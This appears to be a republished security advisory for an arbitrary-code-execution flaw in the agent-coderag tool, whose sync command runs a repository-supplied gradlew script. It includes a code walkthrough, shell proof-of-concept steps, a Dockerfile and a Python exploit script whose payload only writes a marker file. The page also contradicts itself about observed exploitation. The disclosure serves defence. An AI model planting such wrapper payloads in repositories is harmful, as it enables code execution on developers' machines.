Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-wg5p-8h9p-3mr7
No affected components available
Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
Summary
agent-coderag unconditionally executes a repository-controlled gradlew script during its default sync dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing build.gradle and a crafted gradlew) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default agent-coderag sync <path> invocation.
Details
The vulnerability exists across a four-step call chain in the sync command:
1. Entry point — code_rag/entry/cli.py:70
await manager.sync_dependencies(args.path or ".")
sync_dependencies() is called unconditionally before indexing. There is no opt-in flag; any agent-coderag sync invocation triggers dependency discovery.
2. Gradle project detection — code_rag/core/manager.py:40-47
The presence of a build.gradle or build.gradle.kts file in the target directory is sufficient to invoke _sync_gradle(). No additional checks are performed.
3. Wrapper selection — code_rag/core/manager.py:110-113
gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew")
gradle_bin: Optional[str] = None
if gradle_wrapper.exists():
gradle_bin = str(gradle_wrapper.resolve())
else:
gradle_bin = shutil.which("gradle")
When a repository-local gradlew exists, it is unconditionally preferred over the system-installed gradle. No content validation, signature check, or integrity verification is performed on this file.
4. Execution sink — code_rag/core/manager.py:152-158
process = await asyncio.create_subprocess_exec(
gradle_bin,
"-q",
"--init-script",
str(init_script),
"printCodeRagCP",
cwd=str(root),
...
)
The attacker-controlled gradlew is executed directly via asyncio.create_subprocess_exec() with the repository root as the working directory. validate_path (code_rag/core/utils.py:7-71) only constrains the path location (directory boundary), not the content or nature of the executed binary.
The complete data flow: cli.py:277 (path input) → cli.py:313-314 (sync_cmd) → cli.py:62 (validate_path) → cli.py:70 (sync_dependencies) → manager.py:40-47 (_sync_gradle) → manager.py:110-113 (wrapper selection) → manager.py:152-158 (execution sink).
PoC
Environment setup:
python3 -m venv /tmp/acr-venv
. /tmp/acr-venv/bin/activate
pip install agent-coderag==1.3.0
rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker
mkdir -p /tmp/acr-evil
Build the malicious repository:
# Trigger _sync_gradle() detection
printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle
# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly
printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \
> /tmp/acr-evil/gradlew
chmod +x /tmp/acr-evil/gradlew
Trigger the vulnerability (victim action):
agent-coderag --db /tmp/acr.db sync /tmp/acr-evil
Verify exploitation:
cat /tmp/agent-coderag-poc-marker
# Expected output: CODERAG_RCE_SUCCESS
Docker-based reproduction (as confirmed in Phase 2):
# Build image from repository root
docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .
# Run PoC — exits 0 on successful exploitation
docker run --rm agent-coderag-vuln001
Phase 2 dynamic reproduction confirmed the following output:
[*] Evil repo created at /tmp/acr-evil-i560afcg
build.gradle : 22 bytes
gradlew : 275 bytes (executable=True)
[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg
[*] agent-coderag exit code : 0
[PASS] Exploit confirmed.
Marker file : /tmp/acr-poc-marker
Contents : 'CODERAG_RCE_SUCCESS'
The malicious gradlew was executed by agent-coderag during sync.
Impact
This is an Arbitrary Code Execution (ACE) vulnerability triggered by a local attack vector. Any user who runs agent-coderag sync against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.
Typical impacted scenarios include:
- A developer cloning an untrusted repository and running
agent-coderag syncto index it for AI-assisted code analysis. - A CI/CD pipeline that automatically indexes pull-request branches containing a crafted
gradlew. - Any tooling or script that passes arbitrary paths to
agent-coderag syncwithout user oversight.
Because the vulnerable component (agent-coderag) is a code-indexing tool intended to read repositories, victims have no expectation that indexing will execute files within the repository. This trust-boundary violation (reflected in the CVSS S:C — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# Install agent-coderag from local repo source (pinned to vulnerable commit)
COPY repo/ /app/repo/
RUN pip install --no-cache-dir /app/repo/
# Copy PoC script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution
Vulnerability:
agent-coderag `sync` command calls sync_dependencies() unconditionally.
When the target directory contains a build.gradle file, _sync_gradle() is triggered.
_sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.
The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()
without any content validation, enabling arbitrary code execution.
Data flow (source → sink):
cli.py:70 → manager.sync_dependencies()
manager.py:46 → _sync_gradle()
manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve()) [untrusted file]
manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...) [sink]
Expected outcome:
The malicious gradlew writes a marker to /tmp/acr-poc-marker.
If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed.
"""
import asyncio
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from pathlib import Path
MARKER_PATH = "/tmp/acr-poc-marker"
DB_PATH = "/tmp/acr-poc.db"
MALICIOUS_GRADLEW = """\
#!/bin/sh
# Malicious gradlew: writes a proof-of-exploitation marker and simulates
# enough Gradle output for agent-coderag to continue without error.
printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker
# Output a fake empty classpath so the tool does not log an error
exit 0
"""
BUILD_GRADLE = "plugins { id 'java' }\n"
def setup_evil_repo(directory: str) -> None:
"""Create a minimal attacker-controlled Gradle repository."""
repo_path = Path(directory)
repo_path.mkdir(parents=True, exist_ok=True)
# build.gradle triggers _sync_gradle() in manager.py:46
(repo_path / "build.gradle").write_text(BUILD_GRADLE)
# gradlew will be executed by manager.py:152 instead of system gradle
gradlew = repo_path / "gradlew"
gradlew.write_text(MALICIOUS_GRADLEW)
gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
print(f"[*] Evil repo created at {directory}")
print(f" build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes")
print(f" gradlew : {gradlew.stat().st_size} bytes (executable={os.access(gradlew, os.X_OK)})")
def run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess:
"""Invoke agent-coderag sync against the malicious repository."""
cmd = ["agent-coderag", "--db", DB_PATH, "sync", evil_repo]
print(f"[*] Running: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
return result
def check_marker() -> str | None:
"""Return the marker content if it was written by the malicious gradlew."""
try:
return Path(MARKER_PATH).read_text()
except FileNotFoundError:
return None
def main() -> int:
# Clean up any leftovers from a previous run
for path in (MARKER_PATH, DB_PATH):
if os.path.exists(path):
os.remove(path)
evil_repo = tempfile.mkdtemp(prefix="acr-evil-")
try:
# Step 1 — build the attacker-controlled repository
setup_evil_repo(evil_repo)
# Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)
result = run_agent_coderag(evil_repo)
print(f"[*] agent-coderag exit code : {result.returncode}")
if result.stdout:
print(f"[*] stdout:\n{result.stdout.rstrip()}")
if result.stderr:
print(f"[*] stderr:\n{result.stderr.rstrip()}")
# Step 3 — verify the marker was written by the malicious gradlew
marker_content = check_marker()
if marker_content and "CODERAG_RCE_SUCCESS" in marker_content:
print("\n[PASS] Exploit confirmed.")
print(f" Marker file : {MARKER_PATH}")
print(f" Contents : {marker_content!r}")
print(" The malicious gradlew was executed by agent-coderag during sync.")
return 0
else:
print("\n[FAIL] Marker file not found or does not contain the expected string.")
print(f" Expected : 'CODERAG_RCE_SUCCESS'")
print(f" Got : {marker_content!r}")
return 1
finally:
shutil.rmtree(evil_repo, ignore_errors=True)
if __name__ == "__main__":
sys.exit(main())
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard